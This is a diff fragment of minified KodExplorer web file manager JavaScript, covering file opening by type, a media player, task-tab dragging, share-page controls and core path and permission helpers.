        \n"),define("app/common/pathOpen",["./myPlayer"],function(e){var t=function(e,t){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;if("folder"==t)return"explorer"==Config.pageApp?ui.path.list(e+"/"):core.explorer(e),void 0;if("oexe"!=t){if(t=core.pathExt(e),l(t))return c(e),void 0;if("swf"==t)return $.dialog({resize:!0,fixed:!0,ico:core.icon("swf"),title:core.pathThis(e),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(e))}),void 0;if("url"==t)return core.fileGet(e,function(t){var i=t.match(/URL=(.*)/);i.length>=2?window.open(i[1]):s(e)}),void 0;if("webloc"==t)return core.fileGet(e,function(t){try{var i=$($.parseXML(t)),a=i.find("string").text();window.open(a)}catch(n){s(e)}}),void 0;if("html"==t||"htm"==t){var a=core.path2url(e);return core.openDialog(a,core.icon("html"),core.pathThis(e)),void 0}if(inArray(core.filetype.image,t)){var a=e;return-1==a.indexOf("http:")&&(a=core.path2url(a)),MaskView.image(a),void 0}if(inArray(core.filetype.music,t)||inArray(core.filetype.movie,t)){var a=core.path2url(e,!1);return p([{url:a,name:core.pathThis(e),ext:t}]),void 0}return"pdf"==t?(core.fileLink(e,function(i){var a="./lib/plugins/pdfjs/web/viewer.html?file="+urlEncode(i);if(canvasSupport())core.openDialog(a,core.icon(t),htmlEncode(core.pathThis(e)));else{var n="pdf"+UUID(),o='";$.dialog({resize:!0,fixed:!0,ico:core.icon(t),title:core.pathThis(e),width:800,height:400,padding:0,content:o}),new PDFObject({url:i}).embed(n)}}),void 0):inArray(core.filetype.doc,t)?(c(e),void 0):inArray(core.filetype.text,t)?(s(e),void 0):("editor"==Config.pageApp?Tips.tips(t+LNG.edit_can_not,!1):i(e,""),void 0)}if("string"==typeof e){var n=e;"string"!=typeof e&&(n=e.content.split("'")[1]),core.fileGet(n,function(e){var t=jsonDecode(e);t.name=core.pathThis(n),core.openApp(t)})}else core.openApp(e)}},i=function(e,t){var i='
        '+LNG.unknow_file_tips+"
        "+t+"

        "+' "+LNG.edit+"  "+' "+LNG.unknow_file_download+"
        ";$.dialog({id:"open_unknow_dialog",fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:30,content:i,cancel:!0}),$(".unknow_file a").unbind("click").bind("click",function(){$.dialog.list.open_unknow_dialog.close()})},a=function(e){$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),$('').appendTo("body")},n=function(e){if(core.authCheck("explorer:fileDownload",LNG.no_permissiondownload)&&e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t="index.php?explorer/fileDownload&path="+urlEncode(e);G.share_page!==void 0&&(t="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),a(t)}},o=function(e){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t=core.path2url(e);window.open(t)}},s=function(e){if(e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var i=core.pathExt(e);return"Win32"==navigator.platform||"Windows"==navigator.platform,inArray(core.filetype.doc,i)?(c(e,!0),void 0):(core.pathThis(e),inArray(core.filetype.bindary,i)||inArray(core.filetype.music,i)||inArray(core.filetype.image,i)||inArray(core.filetype.movie,i)||inArray(core.filetype.doc,i)?(t(e,i),void 0):(r(e),void 0))}},r=function(e){var t=ShareData.frameTop();if(t.Editor!==void 0)return t.Editor.add(urlEncode(e)),void 0;if("editor"==Config.pageApp)return ShareData.frameChild("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))}),void 0;if(ShareData.frameTop("OpenopenEditor")){var i=t.$.dialog.list.openEditor,a=0;i&&("hidden"==$("."+i.config.id).css("visibility")&&(a=200),i.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))})},a)}else{var n="./index.php?editor/edit#filename="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e)),core.openDialog(n,core.icon("edit"),htmlEncode(e),"openEditor")}},l=function(e){if(!G.kodOffice)return!1;var t=".docx.doc.odt.rtf.djvu.fb2.epub.xps.//.docm.dotm.dot.dotx.mht.//.wps.wpt.";return t+=".xls.xlsx.ods.csv//.xlt.xltx.xlsb.xlsm.//.et.ett.",t+=".pps.ppsx.ppt.pptx.odp//.pot.potx.pptm.ppsm.potm.//.dps.dpt.",-1===t.indexOf("."+e)?!1:!0},c=function(e,t){var i="./index.php?explorer/officeView&path="+urlEncode(e);return G.share_page!==void 0&&(i=G.app_host+"index.php?share/officeView&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),t!==void 0&&(i+="&is_edit=1"),"page"==G.kodOffice?(window.open(i),void 0):(core.openDialog(i,core.icon(core.pathExt(e)),htmlEncode(core.pathThis(e))),void 0)},d=function(t){if(t){"string"==typeof t&&(t=[t]);var i=e("./myPlayer");i.play(t)}},p=function(e){var t=ShareData.frameTop();t.ui.pathOpen.playerInstance(e)};return{open:t,playerInstance:d,play:p,openEditor:s,openEditorForce:r,openWindow:o,downloadUrl:a,download:n}}),define("app/common/myPlayer",[],function(e){var t="",i="",a="music_player",n="movie_player",o=function(e){var n=e==a?"mp3":"mp4",o="."+e+"_dialog",s=t,l={width:"70%",height:"60%"};e==a&&(s=i,l={width:"320px",height:"420px"});var c=$.dialog({id:e+"_dialog",simple:!0,ico:core.icon(n),title:"player",width:l.width,height:l.height,content:s,resize:!0,padding:0,fixed:!0,close:function(){var t=r(e);t.jPlayer("destroy")}});return c.DOM.wrap.addClass("myJPlayer"),$(o).find(".jPlayer-container")},s=function(e){return"music"==e?a:(void 0==e&&(e="mp3"),inArray(core.filetype.music,e)?a:n)},r=function(e){var t="."+e+"_dialog",i=$(t);return 0==i.length?!1:i.find(".jPlayer-container")},l=function(e){var t={mp4:"m4v",m4v:"m4v",mov:"m4v",ogv:"ogv",webm:"webmv",webmv:"webmv",flv:"flv",f4v:"flv",f4a:"flv",mp3:"mp3",wav:"wav",m4a:"mp3",aac:"mp3",ogg:"oga",oga:"oga",webma:"webma"},i=e.ext,a=t[i],n={extType:a,title:e.name,url:e.url,solution:"flv"==i||"f4v"==i?"flash":"html,flash"};return n[a]=e.url,n},c=function(e,t){if(t){var i=e.parents(".jPlayer"),a={solution:t.solution,swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf"};i.attr("id",UUID()),e.jPlayer("destroy"),e.find(".jPlayer-container").children().remove(),e.jPlayer(jPlayerConfigInit(i,a)),e.find("object").length>0?i.addClass("flashPlayer"):i.removeClass("flashPlayer"),e.jPlayer("setMedia",t),setTimeout(function(){e.jPlayer("play")},150),jPlayerBindControl(i),setTimeout(function(){var e=i.parents(".dialog-simple").find(".aui_titleBar").attr("id"),a=$.dialog.list[e];a&&a.title(t.title)},100)}},d=function(e){var t=e[0].ext,i=s(t),n=r(i),d=l(e[0]);n||(n=o(i),i==a&&p.init()),i==a&&(d=p.insert(n,e,t)),c(n,d);try{$.dialog.list[i+"_dialog"].display(!0)}catch(u){}},p=function(){var e=[],t=0,i=null,a="circle",n=function(a,n){i=a;for(var s=e.length,r=0;n.length>r;r++){var c=!1,d=0;for(d=0;e.length>d;d++)if(e[d].url==n[r].url){c=!0;break}if(c){if(r==n.length-1)return t!=d&&o(d),!1}else e.push(l(n[r]))}return e.length==s?!1:(t=e.length-1,u(!0),e[t])},o=function(a){a=0>=a?0:a,a=a>=e.length-1?e.length-1:a,t=a;var n=e[a];c(i,n),u(!1)},s=function(i){switch(a){case"circle":"next"==i?e.length-1>t?o(t+1):o(0):0>t-1?o(e.length-1):o(t-1);break;case"rand":o(roundFromTo(0,e.length)-1);break;case"one":o(t);break;default:}},r=function(t){e.remove(t),o(t),u(!0)},d=function(t){var i=e[t],a=i.url+"&download=1";ui.pathOpen.downloadUrl(a)},p=function(){t=0,e=[],a="circle";var i=$(".jPlayer-music"),n=[{icon:"icon-retweet",loop:"circle"},{icon:"icon-random",loop:"rand"},{icon:"icon-refresh loop-one",loop:"one"}];i.find(".change-loop").unbind("click").bind("click",function(){var e=parseInt($(this).attr("data-loop"))+1;e=0>e?0:e,e=e>=n.length?0:e;var t=n[e];$(this).attr("data-loop",e).find("i").attr("class",t.icon),a=t.loop}),i.find(".play-backward").unbind("click").bind("click",function(){s("prev")}),i.find(".play-forward").unbind("click").bind("click",function(){s("next")}),i.find(".show-list").unbind("click").bind("click",function(e){i.parents(".music_player_dialog").toggleClass("hide-play-list"),stopPP(e)}),i.find(".play-list .item").die("click").live("click",function(e){var t=$(this).index();o(t),stopPP(e)}),i.find(".play-list .remove").die("click").live("click",function(e){var t=$(this).parents(".item"),i=t.index();return t.remove(),r(i),stopPP(e),!1}),i.find(".play-list .download").die("click").live("click",function(e){var t=$(this).parents(".item").index();return d(t),stopPP(e),!1})},u=function(a){var n=$(i).parents(".jPlayer");if(a){var o="";$.each(e,function(e,t){o+='
      • '+t.title+'
      • '}),n.find(".play-list .content").html(o)}return 0!=e.length&&e[t]?(n.find(".item-title").html(e[t].title),n.find(".item").removeClass("this"),n.find(".item:eq("+t+")").addClass("this"),f(n.find(".player-bg")),void 0):(t=0,n.find(".item-title").html("  "),i.jPlayer("destroy"),i.find(".jPlayer-container").children().remove(),void 0)},f=function(e){var t=h(),i=h(),a="160deg",n="background-image: -webkit-linear-gradient("+a+", "+t+", "+i+"); background-image: -moz-linear-gradient("+a+", "+t+", "+i+"); background-image: -o-linear-gradient("+a+", "+t+", "+i+"); background-image: -ms-linear-gradient("+a+", "+t+", "+i+"); background-image: linear-gradient("+a+", "+t+", "+i+");";e.attr("style",n)},h=function(){return"#"+(16777215*Math.random()<<0).toString(16)};return{insert:n,init:p}}(),u=function(a){var o=s(a[0].ext);o==n?e.async(["lib/jPlayer/kod.flat/movie.html","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(e){t=e,d(a)}):e.async(["lib/jPlayer/kod.flat/music.html","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(e){i=e,d(a)})},f=function(t,i){e.async(["lib/jPlayer/jquery.jplayer.min.js"],function(){var e={solution:"html",swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf",media:{title:"",mp3:t},ready:function(){i.jPlayer("setMedia",e.media).jPlayer("play")}};i.jPlayer("destroy").children().remove(),i.jPlayer(e)})};return{play:u,playSound:f}}),define("app/share_common/topbar",[],function(){var e="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid,t="index.php?share/fileProxy&user="+G.user+"&sid="+G.sid;"1"==G.param_rewrite&&(e=e.replace("index.php?","index.php/"));var i=function(){"file"!=G.share_info.type&&G.path!==void 0?(t+="&path="+G.path,e+="&path="+G.path,$(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()):($(".btn.button_my_share").show(),$(".share_info_user .btn-group").hide()),"file"==G.share_info.type&&($(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()),"1"==G.share_info.not_download&&(e="javascript:Tips.tips('"+LNG.share_not_download_tips+"',false);"),$(".share_info_user").removeClass("hidden"),$(".btn_download").attr("href",e);var i=date("Y/m/d H:i:s",G.share_info.mtime);$(".topbar .time").html(i),"file"==G.share_info.type&&$(".topbar .size").html(G.share_info.size),$(".topbar .info").html(LNG.share_view_num+G.share_info.num_view+" "+LNG.share_download_num+G.share_info.num_download),$("#button_share").die("click").live("click",function(){share()})};return{init:i}}); \ No newline at end of file +/*! power by kodexplorer ver3.42(2017-04-07) [build 1491568966742] */ +define("app/src/share_editor/main",["lib/jquery-lib","lib/util","lib/ztree/ztree","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","../../common/taskTap","../../common/core","../../share_common/rightMenu","./ui","../../common/tree","../../common/pathOperate","../../common/pathOpen","../../common/myPlayer","../../share_common/topbar"],function(e){Config={TreeId:"folderList",AnimateTime:200,pageApp:"editor",treeAjaxURL:"index.php?share/treeList&app=editor&user="+G.user+"&sid="+G.sid},e("lib/jquery-lib"),e("lib/util"),e("lib/ztree/ztree"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),TaskTap=e("../../common/taskTap"),core=e("../../common/core"),rightMenu=e("../../share_common/rightMenu"),ui=e("./ui"),tree=e("../../common/tree"),ui.tree=tree;var t=e("../../share_common/topbar");$(document).ready(function(){core.init(),$(".init_loading").fadeOut(450).addClass("pop_fadeout"),t.init(),G.project.length>1&&(Config.treeAjaxURL+="&project="+urlEncode(G.project)),ui.init(),TaskTap.init(),rightMenu.initEditor()})}),define("app/common/taskTap",[],function(){var e={},t="",i=160,n=function(){$(".task_tab .tab").die("mouseenter").live("mouseenter",function(){$(this).hasClass("this")||$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")})},a=function(e){var t=e.attr("id"),i=$.dialog.list[t];if(void 0==i)return c(t),void 0;var n=$("."+t);"hidden"==n.css("visibility")?i.display(!0).zIndex():n.hasClass("aui_state_focus")?i.display(!1):i.zIndex()},o=function(){var e,t,n,o,s=!1,r=!1,l=0,c=0,d=0,p=0,u=0,f=0;$(".task_tab .tab").die("mousedown").live("mousedown",function(t){1==t.which&&(e=$(this),h(t),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(t){v(),this.releaseCapture&&this.releaseCapture(),10>Math.abs(t.pageX-l)&&a(e)}))});var h=function(i){s=!0,r=!0,l=i.pageX,$tab_parent=$(".task_tab"),t=$(".task_tab .tab"),$(".tasktab-dragging").remove(),n=e.clone().addClass("tasktab-dragging").prependTo("body"),p=$sizeInt(t.css("margin-right")),u=$tab_parent.width(),f=$tab_parent.get(0).getBoundingClientRect().left,f+=$(window).scrollLeft(),c=e.get(0).getBoundingClientRect().left,d=$sizeInt(t.css("width"));var a=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),o=i.clientX-l+c;$("body").prepend("
        "),n.css({width:d+"px",top:a,left:o}),e.css("opacity",0)},m=function(i){if(r){window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),0==s&&h(i);var a=i.clientX-l+c;f>a||a>f+u-d||(n.css("left",a),t.each(function(){var t=$(this).get(0).getBoundingClientRect().left;if(a>t&&t+d/2+p>a){if(e.attr("id")==$(this).attr("id"))return;_($(this).attr("id"),"left")}if(a>t-d/2+p&&t>a){if(e.attr("id")==$(this).attr("id"))return;_($(this).attr("id"),"right")}}))}},_=function(n,a){if(!e.is(":animated")||o!=n){o=n,e.stop(!0,!0),$(".insertTemp").remove(),t=$(".task_tab .tab");var s=e.width(),r=$(".task_tab #"+n),l=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==a?e.after(r).css("width","0px"):(e.before(r).css("width","0px"),r.before(l)),e.animate({width:s+"px"},i),l.animate({width:"0px"},i,function(){$(this).remove(),t=$(".task_tab .tab")})}},v=function(){r=!1,s=!1,startTime=0,$(".dragMaskView").remove(),void 0!=n&&(c=e.get(0).getBoundingClientRect().left,n.animate({left:c+"px"},i,function(){e.css("opacity",1),$(this).remove()}))}},s=function(e){var t=110,n=t,a=t+12,o=$(".task_tab .tab"),s=$(".task_tab .tabs").width()-10,r=o.length,l=Math.floor(s/a);switch(r>l&&(n=Math.floor(s/r)-12),e){case"add":$(".task_tab .tabs .this").css("width","0").animate({width:n+"px"},i);case"close":o.animate({width:n+"px"},i);break;case"resize":o.css("width",n+"px");break;default:}},r=function(t,i){$(".task_tab").removeClass("hidden");var n=i.replace(/<[^>]+>/g,""),a='
        '+i+"
        ";$(a).insertBefore(".task_tab .last"),s("add"),e[t]={id:t,name:name}},l=function(e){$(".task_tab .this").removeClass("this"),$(".task_tab #"+e).addClass("this"),t=e},c=function(t){$(".task_tab #"+t).animate({width:0},i,function(){if($(".task_tab #"+t).remove(),s("close"),0==$(".tabs .tab").length&&"desktop"!=Config.pageApp){var e=31;$(".task_tab").animate({bottom:"-"+e+"px"},200,0,function(){$(this).css({bottom:"0px"}).addClass("hidden")})}}),delete e[t]},d=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{dialog_quite:{name:LNG.close,className:"dialog_quite",icon:"remove",accesskey:"q"},dialog_max:{name:LNG.dialog_max,className:"dialog_max",icon:"resize-full",accesskey:"a"},dialog_min:{name:LNG.dialog_min,className:"dialog_min",icon:"minus",accesskey:"i"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var i=t.$trigger.attr("id"),n=$.dialog.list[i];switch(e){case"dialog_quite":n.close();break;case"dialog_min":n._clickMin(!1);break;case"dialog_max":n._clickMax();break;case"refresh":n.refresh();break;case"open_window":n.open_window();break;case"qrcode":core.qrcode(n.DOM.wrap.find("iframe").attr("src"));break;default:}}}),$(".aui_title img,.aui_title .x-item-file").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).parent().parent().contextMenu({x:e.pageX,y:t.top})}).die("dblclick").live("dblclick",function(){var e=$(this).parent().parent().attr("id"),t=$.dialog.list[e];t.close(),rightMenu.hidden()})},p=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,t){var i=t.$trigger.attr("id"),n=$.dialog.list[i];switch(e){case"quitOthers":$.each($.dialog.list,function(e,t){i!=e&&t.close()});break;case"quit":n.close()}}})},u=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,t){var i=t.$trigger.attr("id");switch($.dialog.list[i],e){case"showAll":$.each($.dialog.list,function(e,t){t.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,t){t.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,t){t.close()});break;default:}}})};return{add:r,focus:l,close:c,init:function(){var e='
        ';$(e).appendTo("body"),"desktop"!=Config.pageApp&&$(".task_tab").addClass("hidden"),$(window).bind("resize",function(){s("resize")}),n(),d(),p(),u(),o()}}}),define("app/common/core",[],function(require,exports){tpl_search_box=require("./tpl/search.html"),tpl_search_list=require("./tpl/search_list.html"),tpl_upload=require("./tpl/upload.html"),tpl_file_info=require("./tpl/fileinfo/file_info.html"),tpl_path_info=require("./tpl/fileinfo/path_info.html"),tpl_zipview=require("./tpl/zipview.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),zipView=require("./core.zipView");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"
        ")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,zipView:function(e){new zipView(e)},tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],archive:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","bz2","zx","z","arj"],archive_list:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","zx","z","arj"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var n={};n[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},n[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},n[G.KOD_GROUP_SHARE]={icon:"groupGuest"},n[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},n[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},n[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},n[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var a=n[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?a={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(a={icon:"groupSelfOwner"}),void 0==a&&(a={icon:"",name:""}),void 0==a.name&&(a.name=t),a},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],n=!1;return-1!==$.inArray(t[0],i)&&(n=!0),n},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),n=t.substr(i+1);if(0==n.search("fileProxy")){n=urlDecode(n.substr(n.search("&path=")));var a=n.split("/");n=a[a.length-1],""==n&&(n=a[a.length-2])}return n},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,n=this.pathClear(e);this.pathExt(n);var a=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&n.substring(0,G.web_root.length)==G.web_root?i=G.web_host+a(n.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&access_token="+G.access_token+"&path="+urlEncode(n),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(n))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},pathCurrentWriteable:function(){return"editor"==Config.pageApp?!1:G.json_data.info?G.json_data.info.can_upload:!1},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==t.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==t&&(t="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置
        请联系主机商或网管,检查防火墙配置!"),t='
        '+t+"
